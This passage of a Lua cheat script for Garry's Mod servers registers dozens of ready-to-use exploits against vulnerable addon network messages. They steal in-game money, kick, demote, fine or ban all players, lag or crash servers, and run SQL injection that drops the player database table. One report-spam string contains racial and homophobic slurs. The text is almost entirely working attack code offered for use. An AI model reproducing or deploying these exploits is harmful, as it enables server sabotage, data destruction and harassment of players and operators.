3035net.Start("BuySecondTovar")
3036net.WriteString("0")
3037net.SendToServer()
3038end )
3039end
3040
3041status = ValidNetString("MONEY_SYSTEM_GetWeapons")
3042if (status) then
3043ECPrint("Found Exploit: Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
3044addExploit( "89","Give Weapons #2", "get weapons", function()
3045surface.PlaySound("garrysmod/ui_click.wav")
3046ECNotify("Starting")
3047for i = 1,32 do
3048net.Start("MONEY_SYSTEM_GetWeapons")
3049net.WriteInt(i, 8)
3050net.SendToServer()
3051end
3052end )
3053end
3054
3055status = ValidNetString("MCon_Demote_ToServer")
3056if (status) then
3057ECPrint("Found Exploit: Demote All Players #2 [MCon_Demote_ToServer]")
3058addExploit( "90","Demote All Players #2", "demote all players", function()
3059surface.PlaySound("garrysmod/ui_click.wav")
3060ECNotify("Starting")
3061for k,v in pairs(player.GetAll()) do
3062net.Start("MCon_Demote_ToServer")
3063net.WriteString(v:SteamID())
3064net.SendToServer()
3065end
3066end )
3067end
3068
3069status = ValidNetString("withdrawMoney")
3070if (status) then
3071ECPrint("Found Exploit: Steal All Monies #3 [withdrawMoney]")
3072addExploit( "91","Steal All Monies #3", "withdraw money from all printers, discovered by Leith", function()
3073surface.PlaySound("garrysmod/ui_click.wav")
3074ECNotify("Starting")
3075for k, v in pairs(ents.GetAll()) do
3076net.Start("withdrawMoney")
3077net.WriteEntity(v)
3078net.SendToServer()
3079end
3080end )
3081end
3082
3083status = ValidNetString("withdrawMoney")
3084if (status) then
3085ECPrint("Found Exploit: Lagger #16 [withdrawMoney]")
3086addExploit( "92","Lagger #16", "discovered by Leith", function()
3087surface.PlaySound("garrysmod/ui_click.wav")
3088ECNotify("Starting")
3089timer.Create("lagger16", 0, 0, function()
3090for i=1,1000 do
3091net.Start("withdrawMoney",true)
3092net.WriteEntity(LocalPlayer())
3093net.SendToServer()
3094end
3095end )
3096end )
3097end
3098
3099status = ValidNetString("SyncPrinterButtons76561198027292625")
3100if (status) then
3101ECPrint("Found Exploit: Steal All Monies #4 [SyncPrinterButtons76561198027292625]")
3102addExploit( "93","Steal All Monies #4", "withdraw money from all printers", function()
3103surface.PlaySound("garrysmod/ui_click.wav")
3104ECNotify("Starting")
3105for k, v in pairs(ents.GetAll()) do
3106net.Start("SyncPrinterButtons76561198027292625")
3107net.WriteEntity(v)
3108net.WriteUInt(2, 4)
3109net.SendToServer()
3110end
3111end )
3112end
3113
3114status = ValidNetString("gPrinters.retrieveMoney")
3115if (status) then
3116ECPrint("Found Exploit: Steal All Monies #5 [gPrinters.retrieveMoney]")
3117addExploit( "94","Steal All Monies #5", "withdraw money from all printers, discovered by Leith", function()
3118surface.PlaySound("garrysmod/ui_click.wav")
3119ECNotify("Starting")
3120for k, v in pairs(ents.GetAll()) do
3121net.Start("gPrinters.retrieveMoney")
3122net.WriteEntity(v)
3123net.SendToServer()
3124end
3125end )
3126end
3127
3128status = ValidNetString("gPrinters.retrieveMoney")
3129if (status) then
3130ECPrint("Found Exploit: Lagger #17 [gPrinters.retrieveMoney]")
3131addExploit( "95","Lagger #17", "discovered by Leith", function()
3132surface.PlaySound("garrysmod/ui_click.wav")
3133ECNotify("Starting")
3134timer.Create("lagger17", 0, 0, function()
3135for i=1,1000 do
3136net.Start("gPrinters.retrieveMoney",true)
3137net.WriteEntity(LocalPlayer())
3138net.SendToServer()
3139end
3140end )
3141end )
3142end
3143
3144status = ValidNetString("NGII_TakeMoney")
3145if (status) then
3146ECPrint("Found Exploit: Steal All Monies #6 [NGII_TakeMoney]")
3147addExploit( "96","Steal All Monies #6", "withdraw money from all printers", function()
3148surface.PlaySound("garrysmod/ui_click.wav")
3149ECNotify("Starting")
3150for k, v in pairs(ents.GetAll()) do
3151net.Start("NGII_TakeMoney")
3152net.WriteEntity(v)
3153net.WriteEntity(LocalPlayer())
3154net.SendToServer()
3155end
3156end )
3157end
3158
3159status = ValidNetString("money_clicker_withdraw")
3160if (status) then
3161ECPrint("Found Exploit: Lagger #18 [money_clicker_withdraw]")
3162addExploit( "97","Lagger #18", "discovered by Leith", function()
3163surface.PlaySound("garrysmod/ui_click.wav")
3164ECNotify("Starting")
3165timer.Create("lagger18", 0, 0, function()
3166for i=1,1000 do
3167net.Start("money_clicker_withdraw",true)
3168net.WriteEntity(LocalPlayer())
3169net.SendToServer()
3170end
3171end )
3172end )
3173end
3174
3175status = ValidNetString("opr_withdraw")
3176if (status) then
3177ECPrint("Found Exploit: Steal All Monies #7 [opr_withdraw]")
3178addExploit( "98","Steal All Monies #7", "withdraw money from all printers", function()
3179surface.PlaySound("garrysmod/ui_click.wav")
3180ECNotify("Starting")
3181for k, v in pairs(ents.GetAll()) do
3182net.Start("opr_withdraw")
3183net.WriteEntity(v)
3184net.SendToServer()
3185end
3186end )
3187end
3188
3189status = ValidNetString("NET_DoPrinterAction")
3190if (status) then
3191ECPrint("Found Exploit: Steal All Monies #8 [NET_DoPrinterAction]")
3192addExploit( "99","Steal All Monies #8", "withdraw money from all printers", function()
3193surface.PlaySound("garrysmod/ui_click.wav")
3194ECNotify("Starting")
3195for k, v in pairs(ents.GetAll()) do
3196if v:GetClass():find("print") then
3197net.Start("NET_DoPrinterAction")
3198net.WriteEntity(LocalPlayer())
3199net.WriteEntity(v)
3200net.WriteInt(2,16)
3201net.SendToServer()
3202end
3203end
3204end )
3205end
3206
3207status = ValidNetString("tickbooksendfine")
3208if (status) then
3209ECPrint("Found Exploit: Ticket Book [tickbooksendfine]")
3210addExploit( "100","Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
3211surface.PlaySound("garrysmod/ui_click.wav")
3212ECNotify("Starting")
3213local reasonstable = {"NICE EXPLOIT, RIGHT? discord.gg/2cG6Mcp"}
3214for k, v in pairs(player.GetAll()) do
3215if v != LocalPlayer() then
3216net.Start("tickbooksendfine")
3217net.WriteString(v:SteamID())
3218net.WriteTable(reasonstable)
3219net.WriteDouble(3000, 32)
3220net.SendToServer()
3221end
3222end
3223end )
3224end
3225
3226status = ValidNetString("SyncPrinterButtons16690")
3227if (status) then
3228ECPrint("Found Exploit: Steal All Monies #9 [SyncPrinterButtons16690]")
3229addExploit( "101","Steal All Monies #9", "withdraw money from all printers", function()
3230surface.PlaySound("garrysmod/ui_click.wav")
3231ECNotify("Starting")
3232for k, v in pairs(ents.GetAll()) do
3233if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
3234net.Start("SyncPrinterButtons16690")
3235net.WriteEntity(v)
3236net.WriteUInt(2, 4)
3237net.SendToServer()
3238end
3239end
3240end)
3241end
3242
3243status = ValidNetString("withdrawp")
3244if (status) then
3245ECPrint("Found Exploit: Steal All Monies #10 [withdrawp]")
3246addExploit( "102","Steal All Monies #10", "withdraw money from all printers", function()
3247surface.PlaySound("garrysmod/ui_click.wav")
3248ECNotify("Starting")
3249for k,v in pairs(ents.FindByClass("derma_printer")) do
3250net.Start("withdrawp")
3251net.WriteEntity(v)
3252net.SendToServer()
3253end
3254end)
3255end
3256
3257status = ValidNetString("withdrawp")
3258if (status) then
3259ECPrint("Found Exploit: Lagger #19 [withdrawp]")
3260addExploit( "103","Lagger #19", "discovered by Leith", function()
3261surface.PlaySound("garrysmod/ui_click.wav")
3262ECNotify("Starting")
3263timer.Create("lagger19", 0, 0, function()
3264for i=1,1000 do
3265net.Start("withdrawp",true)
3266net.WriteEntity(LocalPlayer())
3267net.SendToServer()
3268end
3269end )
3270end )
3271end
3272
3273status = ValidNetString("DarkRP_SS_Gamble")
3274if (status) then
3275ECPrint("Found Exploit: Free Money #3 [DarkRP_SS_Gamble]")
3276addExploit( "104","Free Money #3", "an exploit in the addon 'DarkRP Casino'", function()
3277surface.PlaySound("garrysmod/ui_click.wav")
3278ECNotify("Starting")
3279net.Start("DarkRP_SS_Gamble")
3280net.WriteInt(99999, 32)
3281net.WriteInt(1, 32)
3282net.WriteInt(0, 32)
3283net.WriteInt(0, 32)
3284net.WriteInt(1, 32)
3285net.SendToServer()
3286end )
3287end
3288
3289status = ValidNetString("PCAdd")
3290if (status) then
3291ECPrint("Found Exploit: Delete Promocode [PCAdd]")
3292addExploit( "105","Delete Promocode", "delete all promocodes", function()
3293surface.PlaySound("garrysmod/ui_click.wav")
3294ECNotify("Starting")
3295net.Start("PCAdd")
3296net.WriteString("alahman")
3297net.WriteString("300000000")
3298net.SendToServer()
3299timer.Simple(3,function()
3300net.Start("ActivatePC")
3301net.WriteString("alahman")
3302net.SendToServer()
3303net.Start("PCDelAll")
3304net.SendToServer()
3305end )
3306end )
3307end
3308
3309status = ValidNetString("viv_hl2rp_disp_message")
3310if (status) then
3311ECPrint("Found Exploit: HL2 Disp Message [viv_hl2rp_disp_message]")
3312addExploit( "106","HL2 Disp Message", "hl2 voice commands", function()
3313surface.PlaySound("garrysmod/ui_click.wav")
3314ECNotify("Starting")
3315for name, command in pairs (dispatchCommands) do
3316net.Start("viv_hl2rp_disp_message")
3317net.WriteString(command)
3318net.SendToServer()
3319end
3320end )
3321end
3322
3323status = ValidNetString("Kun_SellDrug")
3324if (status) then
3325ECPrint("Found Exploit: Free Money #4 [Kun_SellDrug]")
3326addExploit( "107","Free Money #4", "get monies", function()
3327surface.PlaySound("garrysmod/ui_click.wav")
3328if !timer.Exists( "freemoney4" ) then
3329ECNotify("Starting")
3330timer.Create( "freemoney4", 0, 0, function()
3331for i=1,1000 do
3332net.Start("Kun_SellDrug")
3333net.WriteString("mushroom")
3334net.SendToServer()
3335end
3336end)
3337else
3338timer.Remove( "freemoney4" )
3339ECNotify("Stopping")
3340end
3341end )
3342end
3343
3344status = ValidNetString("net_PSUnBoxServer")
3345if (status) then
3346ECPrint("Found Exploit: Point Shop Unbox [net_PSUnBoxServer]")
3347addExploit( "108","Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
3348surface.PlaySound("garrysmod/ui_click.wav")
3349ECNotify("Starting")
3350for k,v in pairs(player.GetAll()) do
3351local i = 0
3352for k2,v2 in pairs(PS.Items) do
3353if !v:PS_HasItem(v2.ID) then
3354timer.Simple(k*i*1.7,function()
3355net.Start("net_PSUnBoxServer")
3356net.WriteEntity(v)
3357net.WriteString(v2.ID)
3358net.SendToServer()
3359end)
3360i = i + 1
3361end
3362end
3363end
3364end )
3365end
3366
3367status = ValidNetString("pplay_sendtable")
3368if (status) then
3369ECPrint("Found Exploit: ☢ Fuck the SQL database ☢ [pplay_sendtable]")
3370addExploit( "109","☢ Fuck the SQL database ☢", "fuck all", function()
3371surface.PlaySound("garrysmod/ui_click.wav")
3372ECNotify("Starting")
3373local tbl = {}
3374tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
3375tbl.ply = LocalPlayer()
3376net.Start("pplay_sendtable")
3377net.WriteTable(tbl)
3378net.SendToServer()
3379end )
3380end
3381
3382status = ValidNetString("75_plus_win")
3383if (status) then
3384ECPrint("Found Exploit: Free Money #5 [75_plus_win]")
3385addExploit( "110","Free Money #5", "get money", function()
3386surface.PlaySound("garrysmod/ui_click.wav")
3387ECNotify("Starting")
3388net.Start("75_plus_win")
3389net.WriteString("99999999")
3390net.WriteEntity(LocalPlayer())
3391net.SendToServer()
3392end )
3393end
3394
3395status = ValidNetString("ATMDepositMoney")
3396if (status) then
3397ECPrint("Found Exploit: Free Money #6 [ATMDepositMoney]")
3398addExploit( "111","Free Money #6", "an exploit in 'ATM'", function()
3399surface.PlaySound("garrysmod/ui_click.wav")
3400ECNotify("Starting")
3401net.Start("ATMDepositMoney")
3402net.WriteFloat(-9999999)
3403net.SendToServer()
3404end )
3405end
3406
3407status = ValidNetString("SellMinerals")
3408if (status) then
3409ECPrint("Found Exploit: Free Money #7 [SellMinerals]")
3410addExploit( "112","Free Money #7", "an exploit in 'eMining'", function()
3411surface.PlaySound("garrysmod/ui_click.wav")
3412ECNotify("Starting")
3413for k,v in pairs(SkillDB) do
3414if not ( v.iSkill == true ) then
3415net.Start("Upgrade")
3416net.WriteTable( { LuaName = v.LuaName, Amount = -9999999 } )
3417net.SendToServer()
3418net.Start("SellMinerals")
3419net.WriteTable({ Target = LocalPlayer() })
3420net.SendToServer()
3421end
3422end
3423end )
3424end
3425
3426status = ValidNetString("TakeBetMoney")
3427if (status) then
3428ECPrint("Found Exploit: Free Money #8 [TakeBetMoney]")
3429addExploit( "113","Free Money #8", "get money", function()
3430surface.PlaySound("garrysmod/ui_click.wav")
3431ECNotify("Starting")
3432net.Start("TakeBetMoney")
3433net.WriteTable({1e333333 , 1e333333})
3434net.SendToServer()
3435end )
3436end
3437
3438status = ValidNetString("Kun_SellOil")
3439if (status) then
3440ECPrint("Found Exploit: Free Money #9 [Kun_SellOil]")
3441addExploit( "114","Free Money #9", "get money", function()
3442surface.PlaySound("garrysmod/ui_click.wav")
3443ECNotify("Starting")
3444for k,v in pairs(ents.GetAll()) do
3445net.Start("Kun_SellOil")
3446net.WriteEntity(v)
3447net.SendToServer()
3448end
3449end )
3450end
3451
3452status = ValidNetString("DepositMoney")
3453if (status) then
3454ECPrint("Found Exploit: Free Money #10 [DepositMoney]")
3455addExploit( "115","Free Money #10", "get money", function()
3456surface.PlaySound("garrysmod/ui_click.wav")
3457ECNotify("Starting")
3458net.Start("DepositMoney")
3459for k,v in pairs(ents.GetAll()) do
3460net.WriteEntity(v)
3461net.WriteString(-100000000 )
3462net.WriteEntity(LocalPlayer())
3463net.SendToServer()
3464end
3465end )
3466end
3467
3468status = ValidNetString("NET_SS_DoBuyTakeoff")
3469if (status) then
3470ECPrint("Found Exploit: Free Money #11 [NET_SS_DoBuyTakeoff]")
3471addExploit( "116","Free Money #11", "get money", function()
3472surface.PlaySound("garrysmod/ui_click.wav")
3473ECNotify("Starting")
3474net.Start("NET_SS_DoBuyTakeoff",true)
3475net.WriteEntity(LocalPlayer())
3476net.WriteEntity(table.Random(player.GetAll()))
3477net.WriteTable({})
3478net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
3479net.SendToServer()
3480end )
3481end
3482
3483status = ValidNetString("NET_EcSetTax")
3484if (status) then
3485ECPrint("Found Exploit: Free Money #12 [NET_EcSetTax]")
3486addExploit( "117","Free Money #12", "get money", function()
3487surface.PlaySound("garrysmod/ui_click.wav")
3488ECNotify("Starting")
3489net.Start("NET_EcSetTax")
3490net.WriteInt(-9999999999, 16)
3491net.SendToServer()
3492end )
3493end
3494
3495status = ValidNetString("RP_Accept_Fine")
3496if (status) then
3497ECPrint("Found Exploit: Free Money #13 [RP_Accept_Fine]")
3498addExploit( "118","Free Money #13", "get money", function()
3499surface.PlaySound("garrysmod/ui_click.wav")
3500ECNotify("Starting")
3501for k,v in pairs(player.GetAll())do
3502net.Start("RP_Accept_Fine")
3503net.WriteString(v:Nick())
3504net.WriteDouble(-999999999999)
3505net.SendToServer()
3506end
3507end )
3508end
3509
3510status = ValidNetString("drugseffect_remove")
3511if (status) then
3512ECPrint("Found Exploit: Remove Weapons [drugseffect_remove]")
3513addExploit( "119","Remove Weapons", "remove all weapons", function()
3514surface.PlaySound("garrysmod/ui_click.wav")
3515ECNotify("Starting")
3516net.Start("drugseffect_remove")
3517net.SendToServer()
3518end )
3519end
3520
3521status = ValidNetString("drugs_money")
3522if (status) then
3523ECPrint("Found Exploit: Remove Money [drugs_money]")
3524addExploit( "120","Remove Money", "remove all money", function()
3525surface.PlaySound("garrysmod/ui_click.wav")
3526ECNotify("Starting")
3527net.Start("drugs_money")
3528net.SendToServer()
3529end )
3530end
3531
3532status = ValidNetString("CRAFTINGMOD_SHOP")
3533if (status) then
3534ECPrint("Found Exploit: Free Money #14 [CRAFTINGMOD_SHOP]")
3535addExploit( "121","Free Money #14", "an exploit in 'crafting mod'", function()
3536surface.PlaySound("garrysmod/ui_click.wav")
3537ECNotify("Starting")
3538net.Start("CRAFTINGMOD_SHOP")
3539net.WriteTable({
3540BUY = -9999999;
3541type = 1
3542})
3543net.WriteInt(1,16)
3544net.SendToServer()
3545end )
3546end
3547
3548status = ValidNetString("drugs_ignite")
3549if (status) then
3550ECPrint("Found Exploit: Fire Players [drugs_ignite]")
3551addExploit( "122","Fire Players", "", function()
3552surface.PlaySound("garrysmod/ui_click.wav")
3553ECNotify("Starting")
3554net.Start("drugs_ignite")
3555net.WriteString("player")
3556net.SendToServer()
3557end )
3558end
3559
3560status = ValidNetString("drugs_ignite")
3561if (status) then
3562ECPrint("Found Exploit: Fire Props [drugs_ignite]")
3563addExploit( "123","Fire Props", "", function()
3564surface.PlaySound("garrysmod/ui_click.wav")
3565ECNotify("Starting")
3566net.Start("drugs_ignite")
3567net.WriteString("prop_physics")
3568net.SendToServer()
3569end )
3570end
3571
3572status = ValidNetString("drugseffect_hpremove")
3573if (status) then
3574ECPrint("Found Exploit: Change HP [drugseffect_hpremove]")
3575addExploit( "124","Change HP", "", function()
3576surface.PlaySound("garrysmod/ui_click.wav")
3577ECNotify("Starting")
3578net.Start("drugseffect_hpremove")
3579net.WriteString(99999)
3580net.SendToServer()
3581end )
3582end
3583
3584status = ValidNetString("drugs_text")
3585if (status) then
3586ECPrint("Found Exploit: Delete All Props #2 [drugs_text]")
3587addExploit( "125","Delete All Props #2", "", function()
3588surface.PlaySound("garrysmod/ui_click.wav")
3589ECNotify("Starting")
3590net.Start("drugs_text")
3591net.WriteString("prop_physics")
3592net.SendToServer()
3593end )
3594end
3595
3596status = ValidNetString("drugs_give")
3597if (status) then
3598ECPrint("Found Exploit: Give Everyone RPG [drugs_give]")
3599addExploit( "126","Give Everyone RPG", "", function()
3600surface.PlaySound("garrysmod/ui_click.wav")
3601ECNotify("Starting")
3602net.Start("drugs_give")
3603net.WriteString("weapon_rpg")
3604net.SendToServer()
3605end )
3606end
3607
3608status = ValidNetString("drugs_text")
3609if (status) then
3610ECPrint("Found Exploit: Remove Water [drugs_text]")
3611addExploit( "127","Remove Water", "", function()
3612surface.PlaySound("garrysmod/ui_click.wav")
3613ECNotify("Starting")
3614net.Start("drugs_text")
3615net.WriteString("func_water_analog")
3616net.SendToServer()
3617end )
3618end
3619
3620status = ValidNetString("drugs_effect")
3621if (status) then
3622local eye = LocalPlayer():GetEyeTrace().Entity
3623local send = "del|"..eye:EntIndex()
3624ECPrint("Found Exploit: Remove looking at [drugs_effect]")
3625addExploit( "128","Remove looking at", "", function()
3626surface.PlaySound("garrysmod/ui_click.wav")
3627ECNotify("Starting")
3628net.Start("drugs_effect")
3629net.WriteString(send)
3630net.SendToServer()
3631end )
3632end
3633
3634status = ValidNetString("RecKickAFKer")
3635if (status) then
3636ECPrint("Found Exploit: Kick Everyone #2 [RecKickAFKer]")
3637addExploit( "129","Kick Everyone #2", "kick all players", function()
3638surface.PlaySound("garrysmod/ui_click.wav")
3639ECNotify("Starting")
3640for k, v in pairs( player.GetAll() ) do
3641net.Start("RecKickAFKer")
3642net.WriteEntity(v)
3643net.SendToServer()
3644end
3645end )
3646end
3647
3648status = ValidNetString("GMBG:PickupItem")
3649if (status) then
3650ECPrint("Found Exploit: Loot Items [GMBG:PickupItem]")
3651addExploit( "130","Loot Items", "", function()
3652surface.PlaySound("garrysmod/ui_click.wav")
3653ECNotify("Starting")
3654for k, v in pairs(ents.GetAll()) do
3655if v:GetClass() == "item_loot" then
3656net.Start("GMBG:PickupItem")
3657net.WriteEntity(v)
3658net.SendToServer()
3659net.Start("GMBG:PickupItem")
3660net.WriteEntity(v)
3661net.SendToServer()
3662net.Start("GMBG:PickupItem")
3663net.WriteEntity(v)
3664net.SendToServer()
3665net.Start("GMBG:PickupItem")
3666net.WriteEntity(v)
3667net.SendToServer()
3668net.Start("GMBG:PickupItem")
3669net.WriteEntity(v)
3670net.SendToServer()
3671net.Start("GMBG:PickupItem")
3672net.WriteEntity(v)
3673net.SendToServer()
3674end
3675end
3676end )
3677end
3678
3679status = ValidNetString("plyWarning")
3680if (status) then
3681ECPrint("Found Exploit: Kick Everyone #3 [plyWarning]")
3682addExploit( "131","Kick Everyone #3", "kick all players", function()
3683surface.PlaySound("garrysmod/ui_click.wav")
3684ECNotify("Starting")
3685for k, v in pairs( player.GetAll() ) do
3686net.Start('plyWarning')
3687net.WriteEntity(v)
3688net.WriteString('You have to select a player before doing a action.')
3689net.SendToServer()
3690end
3691end )
3692end
3693
3694status = ValidNetString("NLR.ActionPlayer")
3695if (status) then
3696ECPrint("Found Exploit: Freeze Everyone [NLR.ActionPlayer]")
3697addExploit( "132","Freeze Everyone", "", function()
3698surface.PlaySound("garrysmod/ui_click.wav")
3699ECNotify("Starting")
3700for k, v in pairs( player.GetAll() ) do
3701net.Start("NLR.ActionPlayer")
3702net.WriteEntity(v)
3703net.SendToServer()
3704end
3705end )
3706end
3707
3708status = ValidNetString("kart_sell")
3709if (status) then
3710ECPrint("Found Exploit: Free Money #15 [kart_sell]")
3711addExploit( "133","Free Money #15", "get money", function()
3712surface.PlaySound("garrysmod/ui_click.wav")
3713ECNotify("Starting")
3714for i=1, 300 do
3715net.Start("kart_sell")
3716net.WriteString("sw_gokart")
3717net.SendToServer()
3718end
3719end )
3720end
3721
3722status = ValidNetString("ClickerAddToPoints")
3723if (status) then
3724ECPrint("Found Exploit: Free Points [ClickerAddToPoints]")
3725addExploit( "134","Free Points", "", function()
3726surface.PlaySound("garrysmod/ui_click.wav")
3727ECNotify("Starting")
3728net.Start("ClickerAddToPoints")
3729net.WriteInt(99999999, 32)
3730net.SendToServer()
3731end )
3732end
3733
3734status = ValidNetString("bodyman_model_change")
3735if (status) then
3736ECPrint("Found Exploit: Body Groups [bodyman_model_change]")
3737addExploit( "135","Body Groups", "constantly changes your appearance", function()
3738surface.PlaySound("garrysmod/ui_click.wav")
3739ECNotify("Starting")
3740local PM = 1
3741local SK = 1
3742local BG = 1
3743local HN = 1
3744local TS = 1
3745local GL = 1
3746local LG = 1
3747if !timer.Exists( "bodygroups" ) then
3748timer.Create("bodygroups", 0, 0, function()
3749PlayerModels = {0,1,2,3,4,5,6}
3750Torso = {0,1,2,3,4,5,6,7,8,9,10}
3751Legs = {0,1,2,3,4,5,6}
3752Hands = {0,1,2}
3753Glasses = {0,1}
3754Skins = {0,1,2,3,4,5,6,7,8,9,10}
3755PM = PM+1
3756TS = TS+1
3757LG = LG+1
3758HN = HN+1
3759GL = GL+1
3760SK = SK+1
3761if (PM>#PlayerModels) then PM=1 end
3762if (SK>#Skins) then SK=1 end
3763if (HN>#Hands) then HN=1 end
3764if (TS>#Torso) then TS=1 end
3765if (GL>#Glasses) then GL=1 end
3766if (LG>#Legs) then LG=1 end
3767net.Start("bodyman_model_change")
3768net.WriteInt(PlayerModels[PM], 10 )
3769net.SendToServer()
3770net.Start("bodygroups_change")
3771net.WriteTable( { 1, Torso[TS] } )
3772net.SendToServer()
3773net.Start("bodygroups_change")
3774net.WriteTable( { 2, Legs[LG] } )
3775net.SendToServer()
3776net.Start("bodygroups_change")
3777net.WriteTable( { 3, Hands[HN] } )
3778net.SendToServer()
3779net.Start("bodygroups_change")
3780net.WriteTable( { 4, Glasses[GL] } )
3781net.SendToServer()
3782end )
3783else
3784timer.Remove("bodygroups")
3785ECNotify("Stopping")
3786end
3787end )
3788end
3789
3790status = ValidNetString("SendMoney")
3791if (status) then
3792ECPrint("Found Exploit: Free Money #16 [SendMoney]")
3793addExploit( "136","Free Money #16", "get money", function()
3794surface.PlaySound("garrysmod/ui_click.wav")
3795ECNotify("Starting")
3796hook.Remove( "HUDPaint", "skhdsakjl")
3797net.Start("SendMoney")
3798net.WriteEntity(LocalPlayer())
3799net.WriteEntity(LocalPlayer())
3800net.WriteEntity(LocalPlayer())
3801net.WriteString("-99999999")
3802net.SendToServer()
3803end )
3804end
3805
3806status = ValidNetString("BailOut")
3807if (status) then
3808ECPrint("Found Exploit: Free Money #17 [BailOut]")
3809addExploit( "137","Free Money #17", "", function()
3810surface.PlaySound("garrysmod/ui_click.wav")
3811ECNotify("Starting")
3812for k, v in pairs(player.GetAll()) do
3813net.Start("BailOut")
3814net.WriteEntity(LocalPlayer())
3815net.WriteEntity(v)
3816net.WriteFloat(-999999999)
3817net.SendToServer()
3818end
3819end )
3820end
3821
3822status = ValidNetString("hitcomplete")
3823if (status) then
3824ECPrint("Found Exploit: Free Money #18 [hitcomplete]")
3825addExploit( "138","Free Money #18", "get money", function()
3826surface.PlaySound("garrysmod/ui_click.wav")
3827ECNotify("Starting")
3828net.Start("hitcomplete")
3829net.WriteDouble(99999999)
3830net.SendToServer()
3831end )
3832end
3833----------------------------------------
3834for k,v in pairs(player.GetAll()) do
3835dahater = v
3836end
3837----------------------------------------
3838status = ValidNetString("hhh_request")
3839if (status) then
3840ECPrint("Found Exploit: Free Money #19 [hhh_request]")
3841addExploit( "139","Free Money #19", "get money", function()
3842surface.PlaySound("garrysmod/ui_click.wav")
3843ECNotify("Starting")
3844local plyhhh = LocalPlayer()
3845if dahater != plyhhh then
3846local hitRequest = {}
3847hitRequest.hitman = plyhhh
3848hitRequest.requester = plyhhh
3849hitRequest.target = dahater
3850hitRequest.reward = -9999999
3851net.Start('hhh_request')
3852net.WriteTable(hitRequest)
3853net.SendToServer()
3854else
3855ECPrint("In this version of HHH, you can not use an exploit!")
3856end
3857end )
3858end
3859
3860status = ValidNetString("DaHit")
3861if (status) then
3862ECPrint("Found Exploit: Free Money #20 [DaHit]")
3863addExploit( "140","Free Money #20", "get money", function()
3864surface.PlaySound("garrysmod/ui_click.wav")
3865ECNotify("Starting")
3866hook.Remove( "HUDPaint", "skhdsakjl")
3867net.Start("DaHit")
3868net.WriteFloat(-99999999)
3869net.WriteEntity(LocalPlayer())
3870net.WriteEntity(LocalPlayer())
3871net.WriteEntity(LocalPlayer())
3872net.SendToServer()
3873end )
3874end
3875
3876status = ValidNetString("textstickers_entdata")
3877if (status) then
3878ECPrint("Found Exploit: Crash #2 [textstickers_entdata]")
3879addExploit( "141","Crash #2", "1tap", function()
3880surface.PlaySound("garrysmod/ui_click.wav")
3881ECNotify("Starting")
3882net.Start("textstickers_entdata")
3883net.WriteUInt(0xFFFFFFF, 32)
3884net.SendToServer()
3885end )
3886end
3887
3888status = ValidNetString("gBan.BanBuffer")
3889if (status) then
3890ECPrint("Found Exploit: gBan Everyone [gBan.BanBuffer]")
3891addExploit( "142","gBan Everyone", "exploit in the old version of gban", function()
3892surface.PlaySound("garrysmod/ui_click.wav")
3893ECNotify("Starting")
3894for k,v in pairs(player.GetAll()) do
3895if v != LocalPlayer() then
3896net.Start("gBan.BanBuffer")
3897net.WriteBool(true)
3898net.WriteInt(0, 32)
3899net.WriteString("haha owned")
3900net.WriteString(v:SteamID())
3901net.SendToServer()
3902end
3903end
3904end )
3905end
3906
3907status = ValidNetString("ARMORY_RetrieveWeapon")
3908if (status) then
3909ECPrint("Found Exploit: Free Armory #1 [ARMORY_RetrieveWeapon]")
3910addExploit( "143","Free Armory #1", "get weapon #1", function()
3911surface.PlaySound("garrysmod/ui_click.wav")
3912ECNotify("Starting")
3913net.Start("ARMORY_RetrieveWeapon")
3914net.WriteString("weapon1")
3915net.SendToServer()
3916end )
3917end
3918
3919status = ValidNetString("ARMORY_RetrieveWeapon")
3920if (status) then
3921ECPrint("Found Exploit: Free Armory #2 [ARMORY_RetrieveWeapon]")
3922addExploit( "144","Free Armory #2", "get weapon #2", function()
3923surface.PlaySound("garrysmod/ui_click.wav")
3924ECNotify("Starting")
3925net.Start("ARMORY_RetrieveWeapon")
3926net.WriteString("weapon2")
3927net.SendToServer()
3928end )
3929end
3930
3931status = ValidNetString("ARMORY_RetrieveWeapon")
3932if (status) then
3933ECPrint("Found Exploit: Free Armory #3 [ARMORY_RetrieveWeapon]")
3934addExploit( "145","Free Armory #3", "get weapon #3", function()
3935surface.PlaySound("garrysmod/ui_click.wav")
3936ECNotify("Starting")
3937net.Start("ARMORY_RetrieveWeapon")
3938net.WriteString("weapon3")
3939net.SendToServer()
3940end )
3941end
3942
3943status = ValidNetString("TransferReport")
3944if (status) then
3945ECPrint("Found Exploit: Report Spammer [TransferReport]")
3946addExploit( "146","Report Spammer", "report all players", function()
3947surface.PlaySound("garrysmod/ui_click.wav")
3948ECNotify("Starting")
3949net.Start("TransferReport")
3950net.WriteString(v:SteamID())
3951net.WriteString("CHINKGANG FAGOTS")
3952net.WriteString("DITCH THIS SHITTY SERVER AND BUY R8 TODAY")
3953net.SendToServer()
3954end )
3955end
3956
3957status = ValidNetString("FIRE_CreateFireTruck")
3958if (status) then
3959ECPrint("Found Exploit: Create Fire Truck [FIRE_CreateFireTruck]")
3960addExploit( "147","Create Fire Truck", "", function()
3961surface.PlaySound("garrysmod/ui_click.wav")
3962ECNotify("Starting")
3963net.Start("FIRE_CreateFireTruck")
3964net.SendToServer()
3965end )
3966end
3967
3968status = ValidNetString("TFA_Attachment_RequestAll")
3969if (status) then
3970ECPrint("Found Exploit: Lagger #20 [TFA_Attachment_RequestAll]")
3971addExploit( "148","Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
3972surface.PlaySound("garrysmod/ui_click.wav")
3973if !timer.Exists( "lagger20" ) then
3974timer.Create("lagger20", 0,0, function()
3975for i = 1, 800 do
3976net.Start("TFA_Attachment_RequestAll",true)
3977net.SendToServer()
3978end
3979end)
3980ECNotify("Starting Lagger")
3981else
3982timer.Remove("lagger20")
3983ECNotify("Stopping Lagger")
3984end
3985end)
3986end
3987
3988status = ValidNetString("FIRE_RemoveFireTruck")
3989if (status) then
3990ECPrint("Found Exploit: Remove Fire Truck [FIRE_RemoveFireTruck]")
3991addExploit( "149","Remove Fire Truck", "", function()
3992surface.PlaySound("garrysmod/ui_click.wav")
3993ECNotify("Starting")
3994net.Start("FIRE_RemoveFireTruck")
3995net.SendToServer()
3996end )
3997end
3998
